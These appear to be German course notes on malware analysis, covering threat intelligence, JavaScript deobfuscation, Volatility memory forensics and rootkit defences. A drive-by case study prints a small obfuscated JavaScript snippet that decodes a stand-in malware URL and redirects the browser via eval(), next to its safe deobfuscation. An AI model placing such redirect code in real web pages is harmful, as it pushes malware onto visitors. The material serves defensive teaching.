7.1 Threat-Intelligence-Integration
Threat Intelligence (TI) sammelt Informationen über Cyberbedrohungen und nutzt sie zur Verbesserung der Verteidigung. Der Vergleich im Kursbuch: Wie eine Wettervorhersage hilft TI Organisationen, sich auf kommende Entwicklungen einzustellen — statt nur zu reagieren.
Die vier Arten von Threat Intelligence
| Typ | Fokus | Zielgruppe | Beispiel |
|---|---|---|---|
| Strategisch | Großes Bild, Trends, langfristige Entscheidungen | Führungsebene | Bericht über global steigende Ransomware-Bedrohung und geopolitisch getriebene Spionagekampagnen |
| Taktisch | Konkrete TTPs der Angreifer | Security-Teams | Analyse einer Spear-Phishing-Kampagne: Social Engineering, Credential Harvesting |
| Operativ | Unmittelbare oder laufende Angriffe, oft in Echtzeit | SOC / Incident Response | Echtzeitwarnung über einen DDoS-Angriff auf die eigene Branche inklusive Herkunft und Methoden |
| Technisch | Granulare Indikatoren: IPs, Hashes, Domains, URLs | Tools und Automatisierung | Emotet-Feed mit IP-Adressen und Datei-Hashes zur Aktualisierung von Firewalls und IDS |
Quellen
OSINT
Frei verfügbar: VirusTotal, MITRE ATT&CK, MalwareBazaar, AlienVault OTX. Sammeln Samples, IoCs und bekannte Angriffsmethoden.
Kommerziell
Bezahldienste wie FireEye, CrowdStrike oder Recorded Future — umfassender, aktueller und mit exklusiven Daten.
Intern
Aus eigenen Vorfällen gewonnene Intelligence — besonders wertvoll für branchen- oder regionsspezifische Bedrohungen.
TI in der statischen Analyse — Fallbeispiele
WannaCry: Hash-Abgleich
Der Analyst berechnet den Hash der Datei und vergleicht ihn mit einer TI-Datenbank wie VirusTotal. Im Mai 2017 stimmte der WannaCry-Hash (d5c0caf39de29dc769204d33e76c21fc) sofort mit bereits markierten Samples überein — die Identifikation gelang in Sekunden statt über aufwendige manuelle Analyse.
Emotet: String-Analyse
Aus dem Sample extrahierte Strings verweisen auf C2-Server-Adressen. Der Abgleich mit MalwareBazaar oder AlienVault OTX bestätigt: Die Adressen gehören zu einer bekannten Emotet-Kampagne — sofortige Erkenntnisse über Funktionsweise und Kommunikationsnetz.
Mirai: Code Signature Matching
Malware verwendet oft bekannte Codeschnipsel wieder. Bei Mirai fanden Analysten Code, der systematisch verwundbare IoT-Geräte über Telnet (TCP 23, alternativ 2323) scannte — dank TI ließ sich das sofort als Mirai-Signaturverhalten einordnen. Tools wie BinDiff vergleichen Codesegmente mit bekannten Samples.
TI in der dynamischen Analyse — Fallbeispiele
Dridex: C2-Abgleich
Der Banking-Trojaner kontaktiert während der Sandbox-Ausführung externe Server. Der Abgleich der IP-Adressen mit einem TI-Feed zeigt: 143.244.140.214 war bereits Teil der Dridex-C2-Infrastruktur — Identität und Angriffsumfang bestätigt.
TrickBot: Verhalten mit ATT&CK abgleichen
Der Analyst beobachtet, wie TrickBot die Registry für Persistenz verändert. MITRE ATT&CK listet genau diese Technik als bekanntes TrickBot-Verhalten.
| ID | Technik | Nutzung durch TrickBot |
|---|---|---|
| T1087.001/.003 | Account Discovery | Sammelt Systemnutzerinfos, extrahiert E-Mail-Adressen aus Outlook |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTPS-Verbindung zu C2-Servern für Updates, Module und Konfigurationsdateien |
| T1547.001 | Boot or Logon Autostart Execution | Persistenz über den Startup-Ordner |
| T1185 | Browser Session Hijacking | Web-Injects und Umleitungen, um Zugangsdaten abzugreifen |
EternalBlue: exploit-basierte Malware
Beim Reversing von WannaCry oder NotPetya zeigt sich der Versuch, die SMBv1-Schwachstelle CVE-2017-0144 zur Verbreitung auszunutzen. TI-Plattformen wie die National Vulnerability Database liefern die Details zum Exploit — damit lassen sich Verbreitungsweg und Gegenmaßnahmen bestätigen.
Domains und IP-Adressen recherchieren
$ host malicious-domain.example
$ dig malicious-domain.example
# Falls nicht installiert (Ubuntu):
$ apt-get install dnsutils
Die von Malware genutzten Domains und IP-Adressen geben Aufschluss über Herkunft des Angriffs und Arbeitsweise der Täter — ein Pflichtschritt jeder gründlichen Analyse.
7.2 Analyse von JavaScript-Code
JavaScript ist wegen seiner Verbreitung, Flexibilität und Browserausführung ein beliebter Angriffsvektor.
Zustellwege
Browser-Exploits
Eingebettet in kompromittierte oder bösartige Webseiten, um Schwachstellen in Browser oder Plugins auszunutzen und beliebigen Code auszuführen.
E-Mail-Anhänge
Bösartige JS-Dateien in Phishing-Mails; beim Öffnen wird meist weitere Malware nachgeladen.
Drive-by Downloads
Malware wird ohne jede Nutzerinteraktion beim Besuch einer Seite heruntergeladen und ausgeführt.
Statische JavaScript-Analyse
Code extrahieren: im Browser über „View Source" oder „Inspect Element", per wget/curl die ganze Seite laden, oder mit Burp Suite bzw. HTTrack den Traffic samt Skripten mitschneiden.
Verdächtige Funktionen
eval()undsetTimeout()— führen beliebigen Code ausXMLHttpRequestundfetch()— Hinweis auf Datenexfiltration oder Nachladen von Payloadsatob()— dekodiert Base64, oft für versteckte URLs
Typische Obfuskation
- Variable Renaming — sprechende Namen werden zu
a,b,c - String Encoding — URLs und Befehle als Base64
- Control Flow Obfuscation — überflüssige Schleifen, Bedingungen und Funktionsaufrufe
Werkzeuge zur Deobfuskation: JSBeautifier formatiert minifizierten Code lesbar, JSNice stellt sprechende Variablennamen wieder her. Manuell hilft es, eval() durch console.log() zu ersetzen — so wird der Inhalt sichtbar, ohne ihn auszuführen.
Fallstudie: JavaScript-basierter Drive-by Download
var a = "aHR0cDovL21hbGljaW91cy5jb20vZmlsZXMvbWFsd2FyZS5leGU=";
var b = atob(a); // dekodiert zur Malware-URL
eval("window.location.href = b;");
var decodedURL = atob("aHR0cDovL21hbGljaW91cy5jb20vZmlsZXMvbWFsd2FyZS5leGU=");
console.log(decodedURL);
// Ausgabe: http://malicious.com/files/malware.exe
// Weiterleitung bewusst NICHT ausgeführt
Der Base64-String wird mit atob() dekodiert, eval() durch console.log() ersetzt. Ergebnis: Das Skript wollte den Browser zwingen, malware.exe herunterzuladen.
Dynamische JavaScript-Analyse
- Browser-Entwicklertools (Chrome, Firefox): Debuggen, Inspizieren, Ausführung nachvollziehen; im Tab „Network" alle HTTP/HTTPS-Requests beobachten
- Virtuelle Maschinen mit Snapshots für gefährlichere Samples
- Online-Sandboxes wie JSFiddle oder JSBin für die sichere Ausführung
- Wireshark für die tiefergehende Paketanalyse — wohin fließen die Daten, welche Server werden kontaktiert?
7.3 Memory Forensics
Memory Forensics extrahiert und analysiert forensische Artefakte aus dem RAM. Da RAM flüchtig ist und beim Ausschalten verloren geht, ist die Live-Erfassung während des Betriebs entscheidend.
Was im RAM steckt
Laufende Prozesse
Alle aktiven Programme, Dienste und Hintergrundtasks.
Geladene Module
Bibliotheken wie .dll- oder .so-Dateien.
Netzwerkaktivität
Aktive Verbindungen mit IP-Adressen, Ports und Protokollen.
Sitzungsdaten
Angemeldete Nutzer und sitzungsspezifische Details.
Schlüsselmaterial
Verschlüsselungsschlüssel liegen während Ver- und Entschlüsselung temporär im Speicher.
Malware-Artefakte
Injizierter Code, Hooks, Rootkit-Komponenten — und entpackte Malware, die auf der Platte nur gepackt vorliegt.
Memory Acquisition
Werkzeuge: WinPmem, FTK Imager, DumpIt. Das Tool muss zur Architektur und RAM-Größe des Zielsystems passen — ein inkompatibles Tool kann einen Bluescreen und damit den Verlust der Beweise verursachen.
Volatility-Plugins in der Praxis
$ python3 vol.py -f <dumpfile> windows.netscan
Die zehn Spalten der netscan-Ausgabe:
| Spalte | Bedeutung |
|---|---|
Offset | Position im Speicher |
Proto | Verwendetes Netzwerkprotokoll |
LocalAddr / LocalPort | Quelladresse und -port der Verbindung |
ForeignAddr / ForeignPort | Zieladresse und -port |
State | Zustand der Verbindung: established, closed, listening |
PID | Prozess-ID des zugehörigen Prozesses |
Owner | Konto, unter dem der Prozess läuft |
Created | Zeitpunkt des Verbindungsaufbaus |
Beispiel aus dem Kursbuch
Volatility fand drei Verbindungen des Prozesses smsfwder.exe zu drei verschiedenen IP-Adressen über die Ports 443 und 8080. Die Prüfung der IPs über Symantec Site Review zeigte: bekannte Malware-C2-Infrastruktur. Diese IoCs dienen anschließend dazu, weitere kompromittierte Geräte im Netz zu finden und zu isolieren.
Injizierten Code finden: malfind
Gepackte Malware entpackt sich zur Laufzeit im Speicher — teils im eigenen Prozess, teils durch Injektion in andere. Ein typisches Muster: Die Malware startet einen neuen Prozess namens explorer.exe und injiziert ihren Code dorthin, sodass alles normal aussieht.
Executable Permissions
Legitime Programme brauchen selten gleichzeitig Schreib- und Ausführungsrechte. malfind sucht nach PAGE_EXECUTE_READWRITE.
Keine Datei auf der Platte
Normaler Code stammt aus Dateien. Injizierter Code hat keine Entsprechung auf der Festplatte.
Ungewöhnliches Memory-Layout
Legitime Anwendungen allozieren Speicher nach vorhersehbaren Mustern — injizierter Code bricht diese.
malfind listet betroffene Prozesse mit Speicheradressen und liefert Hexdump und Disassembly der verdächtigen Regionen.
7.4 Rootkits verstehen und debuggen
User Mode vs. Kernel Mode
User Mode
Hier laufen normale Anwendungen wie Browser oder Textverarbeitung. Der Zugriff auf Systemressourcen ist eingeschränkt — direkte Änderungen an kritischen Systemfunktionen sind nicht möglich.
Kernel Mode
Hier arbeiten die Kernkomponenten des Betriebssystems: Speicherverwaltung, Gerätesteuerung, Dateisystem. Uneingeschränkter Zugriff auf Hardware und Systemressourcen. Wer den Kernel kontrolliert, kontrolliert das gesamte System.
Funktionsweise von Kernel-Rootkits
Library Injection
Systembibliotheken wie ntoskrnl.exe werden verändert. Beispiel: Beim Auflisten von Dateien „vergisst" die manipulierte Bibliothek, bestimmte Dateien anzuzeigen.
System Call Hooking
Systemaufrufe werden abgefangen und verändert, bevor sie den Kernel erreichen. Fragt der Task-Manager die Prozessliste ab, entfernt das Rootkit den eigenen Prozess aus der Antwort.
Driver Manipulation
Treiber laufen im Kernel Mode. Manipulierte Hardwaretreiber (Tastatur, Netzwerk) fangen Daten ab; manipulierte Softwaretreiber verstecken Dateien und Prozesse.
Beispiel: Sony-DRM-Rootkit
Ein Kopierschutzsystem installierte einen Kernel-Treiber, der Prozesse und Dateien versteckte, um das Kopieren von CDs zu verhindern. Der eigentlich für DRM gedachte Treiber öffnete ungewollt eine Schwachstelle, über die Angreifer eigene Malware verstecken konnten.
Gegenmaßnahmen
Systeme aktuell halten
Viele Rootkits nutzen Schwachstellen in veralteten Systemen oder Treibern. Regelmäßige Patches schließen diese Einfallstore.
Spezialisierte Security-Software
Rootkit-Scanner wie GMER (Windows) suchen nach versteckten Prozessen, Treibern und Kernel-Modifikationen. Moderne Endpoint-Lösungen (CrowdStrike, Bitdefender, Kaspersky) nutzen ML und Verhaltensanalyse.
Secure Boot
BIOS/UEFI prüft die digitalen Signaturen von OS und Kerneltreibern vor dem Laden. Unsignierte oder manipulierte Boot-Dateien verhindern den Systemstart — Rootkits können sich nicht früh einnisten.
Treiberumgebung härten
Driver Signing Enforcement, möglichst wenige Drittanbietertreiber, Integritätsprüfung mit Tools wie Verifier unter Windows.
Kernel-Verhalten überwachen
Windows Event Logs und Sysmon geben tiefe Einblicke in Kernel- und Systemaktivität; unter Linux überwacht auditd Kernel-Events und Modulveränderungen.
Integritätsprüfungen
Hash-Vergleiche kritischer Systemdateien und Kernelmodule mit Werkzeugen wie Tripwire; im Unternehmen File Integrity Monitoring (FIM).